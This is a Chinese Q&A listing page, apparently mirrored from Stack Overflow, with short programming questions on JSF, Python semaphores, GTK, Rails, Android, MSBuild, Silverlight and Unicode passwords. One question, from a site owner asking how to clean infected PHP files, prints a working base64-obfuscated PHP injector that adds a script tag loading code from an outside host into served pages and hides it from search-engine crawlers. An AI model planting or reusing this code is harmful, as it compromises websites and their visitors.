问题列表 - 第26538页

JSF2.0如何使用xhtml绑定Managed Beans?

我有一个非常基本的问题,关于JSF2.0如何使用xhtml绑定Managed Beans?

假设我有一个value ="#{MymanagedBean.property}"的inputtext

如何在JSF 2中解析此MymanagedBean引用?

请在回答时考虑以下几点.

  1. 在ealier版本中,即使用JSF 1.2,我们必须在faces-config.xml中编写绑定,但是对于JSF 2,不必使用faces-config.xml

  2. 如果你查看xhtml页面的源代码,你将找不到任何MymanagedBean参考.

怎么做呢?

java jsf jsf-2

2
推荐指数
1
解决办法
3954
查看次数

Python中命名的信号量?

我在python中有一个脚本,它使用的资源不能超过一定数量的并发脚本运行.

传统上,这可以通过命名信号量来解决,但我无法在多处理模块或线程的文档中找到它们.

我是否遗漏了某些东西,或者是未被Python实现/暴露的命名信号量?更重要的是,如果答案是否定的,那么模仿一个人的最佳方式是什么?

谢谢,波阿斯

PS.由于与此问题不太相关的原因,我无法将任务聚合到持续运行的进程/守护进程或使用生成的进程 - 这两者似乎都适用于python API.

python multithreading semaphore cross-process

12
推荐指数
1
解决办法
5657
查看次数

将换行符插入 GtkTextView 小部件(GTK+ 编程)

我有一个按钮,当单击该按钮时,它会将 GtkEntry 小部件中的文本复制并附加到 GtkTextView 小部件中。(此代码是在GTK+ 开发基础的“文本视图小部件”一章中找到的示例的修改版本。)

我希望在被复制和附加的文本之前插入一个换行符,这样每行文本将在 GtkTextView 小部件中单独一行。我该怎么做?我是 GTK+ 的新手。

这是代码示例:

#include <gtk/gtk.h>

typedef struct
{
     GtkWidget *entry, *textview;
} Widgets;

static void insert_text (GtkButton*, Widgets*);

int main (int argc,
          char *argv[])
{
     GtkWidget *window, *scrolled_win, *hbox, *vbox, *insert;
     Widgets *w = g_slice_new (Widgets);

     gtk_init (&argc, &argv);

     window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
     gtk_window_set_title (GTK_WINDOW (window), "Text Iterators");
     gtk_container_set_border_width (GTK_CONTAINER (window), 10);
     gtk_widget_set_size_request (window, -1, 200);

     w->textview = gtk_text_view_new ();
     w->entry = gtk_entry_new ();
     insert = gtk_button_new_with_label ("Insert Text"); …
Run Code Online (Sandbox Code Playgroud)

c gtk newline

4
推荐指数
1
解决办法
7841
查看次数

Rails 3找到所有相关记录has_many:through

我想列出与某个特定类别和课堂相关的所有帖子.

我有:

class Post < ActiveRecord::Base
  has_many :category_posts
  has_many :categories, :through => :category_posts
  has_many :classroom_posts
  has_many :classrooms, :through => :classroom_posts
end

class Category < ActiveRecord::Base
  has_many :category_posts
  has_many :posts, :through => :category_posts
end

class CategoryPost < ActiveRecord::Base
  belongs_to :category
  belongs_to :post
end

class Classroom < ActiveRecord::Base
  has_many :classroom_posts
  has_many :posts, :through => :classroom_posts
end

class ClassroomPost < ActiveRecord::Base
  belongs_to :classroom
  belongs_to :post
end
Run Code Online (Sandbox Code Playgroud)

我想做这样的事情

Post.where(["category.id = ? AND classroom.id = ?", params[:category_id], params[:classroom_id]])
Run Code Online (Sandbox Code Playgroud)

这确实是非常简单的任务,但我不知道我应该寻找什么(关键字).

这就像同样的问题,这个,但是在轨道上.

编辑:我在问题中添加了更多细节.这有效,但前提是我指定了两个参数.女巫并非总是如此 - …

ruby model ruby-on-rails associations

7
推荐指数
1
解决办法
3万
查看次数

如何从我网站上的所有php文件中删除iframe病毒?

我有一个从我的PHP文件中删除病毒代码的问题.我的服务器中有超过1200个php文件,每个php文件都被病毒感染了.将此行添加到html输出的病毒代码

<script src="http://holasionweb.com/oo.php"></script>
Run Code Online (Sandbox Code Playgroud)

这是病毒的代码

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU1MkE0ODkzNkNERTBGNTM1NkJCMDg2NTJGMj0wOyAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmNCl7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>
Run Code Online (Sandbox Code Playgroud)

每个php文件中的代码如上.如何从每个PHP文件中删除此病毒代码?这样做有快速的方法吗?

php antivirus virus

1
推荐指数
1
解决办法
1万
查看次数

将大图像加载到Bitmap中?

我正在尝试创建一个显示来自摄像头的图像的基本应用程序,但是当我尝试从sdcard加载.jpg时BitmapFactory.decodeFile,它返回null.

它没有给出一个我觉得奇怪的内存不足错误,但完全相同的代码在较小的图像上工作正常.

通用图库如何以极少的内存显示来自相机的巨大图片?

android jpeg image bitmap

9
推荐指数
1
解决办法
9772
查看次数

未调用所有目标(嵌套目标未被执行)

我正在使用两个TARGET文件.在一个TARGET文件中,我调用第二个TARGET文件中的TARGET.然后第二个TARGET调用另一个TARGET,它有另外6个TARGET调用,它们执行许多不同的操作(除了调用其他嵌套的TARGETS(但在同一个TARGET文件中)).问题在于,在我称之为6 TARGETS的TARGET上,只有第一个正在执行.该计划没有找到调用第2,第3,第4,第5和第6目标的方法.可以调用和运行的嵌套TARGET的数量是否有限制?没有什么是失败的.问题是其他TARGET调用没有运行.感谢您的任何帮助,您可以提供.

msbuild

4
推荐指数
1
解决办法
2222
查看次数

jQuery插件,用于从PHP更新实时<li>

是否有任何jQuery插件可以使用PHP 从Twitter主页面创建类似实时源的内容,这是从MySQL数据库获取数据?
如何成为PHP文件?
谢谢.

php mysql jquery-plugins live

2
推荐指数
1
解决办法
5200
查看次数

Silverlight中的System.CodeDom.Compiler.CompilerParameters在哪里?

我想在Silverlight中创建数学表达式评估器.为了方便起见,我需要使用System.Reflection,System.Reflection.Emit,System.CodeDom.Compiler和其他相关程序集动态编译.

但是,我无法在Silverlight中找到此类.

请给我一些建议.

reflection silverlight codedom compilation reflection.emit

4
推荐指数
1
解决办法
861
查看次数

如何正确实现Unicode密码?

添加对Unicode密码的支持,这是开发人员不应忽视的重要功能.

仍然,在密码中添加对Unicode的支持是一项棘手的工作,因为相同的文本可以在Unicode中以不同的方式编码,并且您不希望阻止人们因此而登录.

假设您将密码存储为UTF-8,并且请注意此问题与Unicode编码无关,而且与Unicode规范化有关.

现在的问题是你应该如何规范化 Unicode数据?

你必须确保你能够比较它.您需要确保在下一个Unicode标准发布时,它不会使您的密码验证无效.

注意:仍然有一些地方可能永远不会使用Unicode密码,但这个问题不是关于为什么或何时使用Unicode密码,而是关于如何以正确的方式实现它们.

第一次更新

是否可以在不使用ICU的情况下实现这一点,例如使用OS进行规范化?

passwords unicode normalization unicode-normalization text-normalization

8
推荐指数
1
解决办法
909
查看次数